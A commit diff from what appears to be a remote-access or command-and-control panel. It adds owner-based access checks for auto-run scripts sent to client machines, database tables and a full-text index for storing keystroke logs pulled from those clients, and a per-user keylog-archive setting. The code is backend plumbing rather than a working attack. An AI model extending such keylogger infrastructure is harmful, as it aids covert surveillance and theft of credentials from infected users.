fix some tele links, add offline keylogger, fix rbac issues with scripting.

This commit is contained in:
KingKDot
2026-06-10 19:54:18 -05:00
parent d6ad2cadea
commit ab58106b85
28 changed files with 1528 additions and 91 deletions
+22 -2
View File
@@ -1393,6 +1393,7 @@ export type AutoScript = {
scriptType: string;
enabled: boolean;
osFilter: string[];
createdByUserId: number | null;
createdAt: number;
updatedAt: number;
};
@@ -1411,6 +1412,7 @@ function mapAutoScriptRow(row: any): AutoScript {
scriptType: row.script_type,
enabled: row.enabled === 1,
osFilter,
createdByUserId: row.created_by_user_id == null ? null : Number(row.created_by_user_id),
createdAt: Number(row.created_at) || 0,
updatedAt: Number(row.updated_at) || 0,
};
@@ -1421,6 +1423,14 @@ export function listAutoScripts(): AutoScript[] {
return rows.map(mapAutoScriptRow);
}
export function listAutoScriptsForUser(userId: number, role: string): AutoScript[] {
if (role === "admin") return listAutoScripts();
const rows = db
.query<any>(`SELECT * FROM auto_scripts WHERE created_by_user_id=? ORDER BY created_at DESC`)
.all(userId);
return rows.map(mapAutoScriptRow);
}
export function getAutoScriptsByTrigger(trigger: AutoScriptTrigger): AutoScript[] {
const rows = db
.query<any>(
@@ -1435,6 +1445,14 @@ export function getAutoScript(id: string): AutoScript | null {
return row ? mapAutoScriptRow(row) : null;
}
export function canUserManageAutoScript(userId: number, role: string, scriptId: string): boolean {
if (role === "admin") return true;
const row = db
.query<{ created_by_user_id: number | null }>(`SELECT created_by_user_id FROM auto_scripts WHERE id=?`)
.get(scriptId);
return row?.created_by_user_id != null && Number(row.created_by_user_id) === userId;
}
export function createAutoScript(input: {
id: string;
name: string;
@@ -1443,11 +1461,12 @@ export function createAutoScript(input: {
scriptType: string;
enabled: boolean;
osFilter: string[];
createdByUserId: number;
}): AutoScript {
const now = Date.now();
db.run(
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`
`INSERT INTO auto_scripts (id, name, trigger, script, script_type, enabled, os_filter, created_by_user_id, created_at, updated_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
,
input.id,
input.name,
@@ -1456,6 +1475,7 @@ export function createAutoScript(input: {
input.scriptType,
input.enabled ? 1 : 0,
JSON.stringify(input.osFilter ?? []),
input.createdByUserId,
now,
now,
);
+30
View File
@@ -235,6 +235,33 @@ db.run(
`CREATE INDEX IF NOT EXISTS idx_banned_ips_created_at ON banned_ips(created_at DESC);`,
);
db.run(`
CREATE TABLE IF NOT EXISTS keylog_archive_files (
id INTEGER PRIMARY KEY AUTOINCREMENT,
client_id TEXT NOT NULL,
filename TEXT NOT NULL,
size INTEGER NOT NULL DEFAULT 0,
modified_at INTEGER,
retrieved_at INTEGER NOT NULL,
content TEXT NOT NULL DEFAULT '',
UNIQUE(client_id, filename)
);
`);
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_client ON keylog_archive_files(client_id, retrieved_at DESC);`);
db.run(`CREATE INDEX IF NOT EXISTS idx_keylog_archive_retrieved ON keylog_archive_files(retrieved_at);`);
try {
db.run(`
CREATE VIRTUAL TABLE IF NOT EXISTS keylog_archive_fts USING fts5(
file_id UNINDEXED,
client_id UNINDEXED,
filename,
content,
tokenize = 'unicode61'
);
`);
} catch {}
db.run(`
CREATE TABLE IF NOT EXISTS revoked_tokens (
token_hash TEXT PRIMARY KEY,
@@ -390,6 +417,9 @@ db.run(
try {
db.run(`ALTER TABLE auto_scripts ADD COLUMN os_filter TEXT NOT NULL DEFAULT '[]'`);
} catch { /* column already exists */ }
try {
db.run(`ALTER TABLE auto_scripts ADD COLUMN created_by_user_id INTEGER`);
} catch { /* column already exists */ }
db.run(`
CREATE TABLE IF NOT EXISTS auto_script_runs (
+4
View File
@@ -224,6 +224,10 @@ export function initializeUserSchema(): void {
addColumnIfMissing("users", `mfa_enabled_at INTEGER DEFAULT NULL`);
},
},
{
id: "014_users_keylog_archive_enabled",
run: () => addColumnIfMissing("users", `keylog_archive_enabled INTEGER NOT NULL DEFAULT 0`),
},
];
runMigrations(userMigrations);